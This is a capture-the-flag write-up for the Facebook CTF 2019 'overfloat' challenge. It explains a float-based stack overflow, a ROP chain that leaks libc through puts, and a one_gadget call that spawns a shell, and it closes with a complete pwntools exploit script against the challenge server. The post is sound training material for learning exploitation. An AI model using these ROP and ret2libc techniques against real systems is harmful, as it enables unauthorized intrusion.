5 minute read

overfloat was an entry challenge of the pwnable category of the Facebook CTF 2019. A binary and a libc were provided (Original tar). You can find the full exploit at the end of this post.

The application itself is straightforward. You have a command-line input where you can specify a longitude and latitude.

./overfloat
                                 _ .--.
                                ( `    )
                             .-'      `--,
                  _..----.. (             )`-.
                .'_|` _|` _|(  .__,           )
               /_|  _|  _|  _(        (_,  .-'
              ;|  _|  _|  _|  '-'__,--'`--'
              | _|  _|  _|  _| |
          _   ||  _|  _|  _|  _|
        _( `--.\_|  _|  _|  _|/
     .-'       )--,|  _|  _|.`
    (__, (_      ) )_|  _| /
      `-.__.\ _,--'\|__|__/
                    ;____;
                     \YT/
                      ||
                     |""|
                     '=='

WHERE WOULD YOU LIKE TO GO?
LAT[0]: 1
LON[0]: 1
LAT[1]: done
BON VOYAGE!

You can even set multiple values …. and write out-of-bounds.

...
WHERE WOULD YOU LIKE TO GO?
LAT[0]: 1
LON[0]: 1
LAT[1]: 1
LON[1]: 1
LAT[2]: 1
LON[2]: 1
LAT[3]: 1
LON[3]: 1
LAT[4]: 1
LON[4]: 1
LAT[5]: 1
LON[5]: 1
LAT[6]: 1
LON[6]: 1
LAT[7]: 1
LON[7]: 1
LAT[8]: 1
LON[8]: 1
LAT[9]: 1
LON[9]: 1
LAT[0]: 1
LON[0]: 1
LAT[1]: 1
LON[1]: 1
LAT[2]: 1
LON[2]: 1
LAT[3]: 1
LON[3]: 1
LAT[4]: 1
LON[4]: 11
LAT[5]: done
BON VOYAGE!
[1]    5978 segmentation fault  ./overfloat

Run it again with gdb. Segfault!

Id 1, Name: "overfloat", stopped, reason: SIGSEGV
0x00007fffffffdff8│+0x0000: 0x3f8000003f800000   ← $rsp
0x00007fffffffe000│+0x0008: 0x3f8000003f800000
0x00007fffffffe008│+0x0010: 0x3f8000003f800000
0x00007fffffffe010│+0x0018: 0x3f8000003f800000
0x00007fffffffe018│+0x0020: 0x3f8000003f800000
0x00007fffffffe020│+0x0028: 0x3f8000003f800000

Since the challenge is named overfloat we can guess that it has something to do with floats. If we look carefully we can see that 0x3f800000 represents the float 1.0.

In [27]: import binascii

In [28]: binascii.hexlify(struct.pack('f', 1.0))
Out[28]: '0000803f'

That means, we can write arbitrary floating point numbers on the stack. Let’s try it!

Convert a 4 byte array to a floating point …

def byte_to_float(data):
    if len(data) != 4:
        log.error("Length of data should be 4")
        sys.exit(0)
    return str(struct.unpack('f', bytes(data))[0])

… and overflow the array

for i in range(100):
    tosend = byte_to_float("A"*4)
    r.sendline(tosend)

# trigger return to main
# BOF at end of main -> ret
r.sendline("done")

r.interactive()

Segfault and we see a lot of A’s (0x41) :)

gef➤  x/20wx $rsp
0x7ffe9dcc6c78: 0x41414141      0x41414141      0x41414141      0x41414141
0x7ffe9dcc6c88: 0x41414141      0x41414141      0x41414141      0x41414141
0x7ffe9dcc6c98: 0x41414141      0x41414141      0x41414141      0x41414141
0x7ffe9dcc6ca8: 0x41414141      0x41414141      0x41414141      0x41414141
0x7ffe9dcc6cb8: 0x41414141      0x41414141      0x41414141      0x41414141

Now, we have to find the offset to overwrite the saved return address. Because we are lazy we change our loop and just look for the right value.

for i in range(100):
    tosend = byte_to_float(chr(i)*4)
    r.sendline(tosend)

r.sendline("done")
r.interactive()
gdb after segfault:
0x00007ffe151cbf08│+0x0000: 0x0f0f0f0f0e0e0e0e   ← $rsp

Offset is 0xe. The next step is to define a function for an 8-byte write (64-bit challenge).

def write_8_bytes(data):
    tosend = byte_to_float(data[:4])
    r.sendline(tosend)
    tosend = byte_to_float(data[4:])
    r.sendline(tosend)

Furthermore, we can leak the address of puts via the GOT and jump back to the beginning of the application to exploit the vulnerability a second time but we have more information about the environment (leak of libc base). Therefore, we need a gadget to call puts with the correct pointer. We use ropper to look for a suitable gadget.

# ropper --console -f ./overfloat
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(overfloat/ELF/x86_64)> search pop rdi
[INFO] Searching for gadgets: pop rdi

[INFO] File: ./overfloat
0x0000000000400a83: pop rdi; ret;
# Begin of ROP chain
# gadget from ropper
pop_rdi = 0x0000000000400a83 #: pop rdi; ret;

# ret to gadget
write_8_bytes(p64(pop_rdi))
# read GOT, first argument of puts
write_8_bytes(p64(chal.got["puts"]))
# call puts
write_8_bytes(p64(chal.symbols["puts"]))

# jump to beginning
# next return after puts
start = 0x400993
write_8_bytes(p64(start))

# End of ROP chain

# trigger vulnerability
r.sendline("done")
r.recvuntil("VOYAGE!")
r.recvline() # empty line
# receive leak via puts
res = r.recvline()[:-1]
print("puts @  " + hex(u64(res.ljust(8, "\x00"))))
puts_address = u64(res.ljust(8, "\x00"))

libc_base = puts_address - libc.symbols["puts"]
print("libc @  " + hex(libc_base))

# interact with the application again
# from the beginning ;)
# remove it for the next part
r.interactive()
[+] Waiting for debugger: Done
puts @  0x7f3064d58910
libc @  0x7f3064ce7000
...

After that, we can easily call a one-shot gadget

//local libc
# one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4484f execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x448a3 execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xe5456 execve("/bin/sh", rsp+0x60, environ)
constraints:
  [rsp+0x60] == NULL

// remote libc
# one_gadget libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

and get a shell.

if debug:
    one_gagdet = libc_base + 0x4484f
else:
    one_gagdet = libc_base + 0x4f2c5

# exploit a second time
r.recvuntil("LIKE TO GO?")
r.recvline()

for i in range(0xe):
    tosend = byte_to_float(chr(i)*4)
    r.sendline(tosend)

# one gadget
write_8_bytes(p64(one_gagdet))

# trigger vulnerability and spawn shell via one gadget
r.sendline("done")

r.interactive()
[+] Waiting for debugger: Done
puts @  0x7fd6ced34910
libc @  0x7fd6cecc3000
[*] Switching to interactive mode
LAT[0]: LON[0]: LAT[1]: LON[1]: LAT[2]: LON[2]: LAT[3]: LON[3]: LAT[4]: LON[4]: LAT[5]: LON[5]: LAT[6]: LON[6]: LAT[7]: LON[7]: LAT[8]: BON VOYAGE!
$ id
uid=0(root) gid=0(root) groups=0(root)

Disable debug mode and get the flag. :)

[+] Opening connection to challenges.fbctf.com on port 1341: Done
puts @  0x7f4d087519c0
libc @  0x7f4d086d1000
[*] Switching to interactive mode
LAT[0]: LON[0]: LAT[1]: LON[1]: LAT[2]: LON[2]: LAT[3]: LON[3]: LAT[4]: LON[4]: LAT[5]: LON[5]: LAT[6]: LON[6]: LAT[7]: LON[7]: LAT[8]: BON VOYAGE!
$ cat /home/overfloat/flag
fb{FloatsArePrettyEasy...}

Full (quick and dirty) exploit:

from pwn import *
import struct
import sys
import binascii

chal = ELF("./overfloat")

debug = False
if debug:
    r = process("./overfloat")
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    gdb.attach(r, '''
    ''') #b*0x0000000000400a83
else:
    libc = ELF("./libc-2.27.so")
    r = remote("challenges.fbctf.com", 1341)

def byte_to_float(data):
    if len(data) != 4:
        log.error("Length of data should be 4")
        sys.exit(0)
    return str(struct.unpack('f', bytes(data))[0])

r.recvuntil("LIKE TO GO?")
r.recvline()
for i in range(0xe):
    tosend = byte_to_float(chr(i)*4)
    r.sendline(tosend)

def write_8_bytes(data):
    tosend = byte_to_float(data[:4])
    r.sendline(tosend)
    tosend = byte_to_float(data[4:])
    r.sendline(tosend)

pop_rdi = 0x0000000000400a83 #: pop rdi; ret;

# ret
write_8_bytes(p64(pop_rdi))
# GOT
write_8_bytes(p64(chal.got["puts"]))
# call puts
write_8_bytes(p64(chal.symbols["puts"]))

# jump to beginning
start = 0x400993
write_8_bytes(p64(start))

r.sendline("done")
r.recvuntil("VOYAGE!")
r.recvline() # empty line
res = r.recvline()[:-1]
print("puts @  " + hex(u64(res.ljust(8, "\x00"))))
puts_address = u64(res.ljust(8, "\x00"))

libc_base = puts_address - libc.symbols["puts"]
print("libc @  " + hex(libc_base))

if debug:
    one_gagdet = libc_base + 0x4484f
else:
    one_gagdet = libc_base + 0x4f2c5

# exploit a second time
r.recvuntil("LIKE TO GO?")
r.recvline()
for i in range(0xe):
    tosend = byte_to_float(chr(i)*4)
    r.sendline(tosend)

# one gadget
write_8_bytes(p64(one_gagdet))
r.sendline("done")

r.interactive()



This was a good beginner challenge and the first time I used floating points to write my payload.

Happy Hacking!